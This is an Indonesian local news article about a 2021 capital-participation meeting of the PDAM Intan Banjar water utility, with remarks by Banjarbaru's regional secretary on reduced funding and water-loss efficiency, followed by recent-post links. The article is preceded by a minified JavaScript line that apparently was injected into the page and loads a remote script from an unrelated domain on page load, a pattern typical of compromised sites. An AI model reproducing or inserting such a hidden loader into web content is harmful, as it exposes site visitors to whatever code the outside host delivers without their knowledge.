(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Suntikan Modal ke PDAM Intan Banjar Turun, Ini Saran Sekda Kota Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – PDAM Intan Banjar menggelar Rapat Umum Penyertaan Modal (RUPM) tahun buku 2020, Kamis (11/2/2021).

RUPM diinisiasi sebagai sarana evaluasi kinerja perusahaan air minum tersebut selama satu tahun terakhir.
Rapat menghadirkan tiga pemerintah pemilik modal di PDAM Intan Banjar, yakni Pemprov Kalimantan Selatan, Pemkab Banjar, dan Pemko Banjarbaru.

Pemprov Kalsel diwakili Asisten Perekonomian dan Pembangunan Syaiful Azhari, Pemkab Banjar langsung dihadiri Bupati Banjar H Khalilurrahman, dan wakil Pemko Banjarbaru yakni Sekretaris Daerah (Sekda) Kota Banjarbaru Said Abdullah.

Sekda Banjarbaru Said Abdullah mengatakan, PDAM Intan Banjar mempunyai grand investasi yang besar dan memerlukan modal. Meskipun diakuinya suntikan dana pada tahun 2021 menurun, jika dibandingkan tahun 2020 lalu.

“Kami pesimis untuk tahun ini, karena keadaan pendanaan dari pusat yang juga turun. Karena itu kami lebih mengharapkan kepada PDAM agar dapat meningkatkan efisiensi untuk menurunkan angka kehilangan air,” kata Sekda Banjarbaru.

Suntikan modal dana yang disalurkan ke PDAM Intan Banjar, kata Said Abdullah, sebesar Rp 10 miliar. Ia berharap agar dana tersebut digunakan dengan baik meskipun tengah di situasi pandemi Covid-19.

“PDAM daya belinya juga rendah, dengan hal tersebut PDAM dituntut meningkatkan efisiensi menjadi lebih tinggi dengan daya beli yang rendah. Kami akan menyetujui jika laba yang berlebih itu digunakan untuk investasi internal di PDAM,” kata Sekda Banjarbaru.

Diakui Sekda Kota Banjarbaru, bersamaan dengan naiknya harga air curah, sebenarnya perlu dilakukan kenaikan harga pembelian air bersih. Namun, dengan mempertimbangkan kondisi saat ini, kenaikan harga air bersih justru akan memberatkan masyarakat.

“Dibalik penurunan pendapatan yang dialami PDAM, mereka juga memiliki nilai kerja cukup baik, seperti menurunnya presentase dari kehilangan air setiap tahunnya, dan meningkatnya aset yang dimiliki,” pungkasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 

 


Al Ghifari

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

5 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

21 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

22 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

22 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

23 jam ago

This website uses cookies.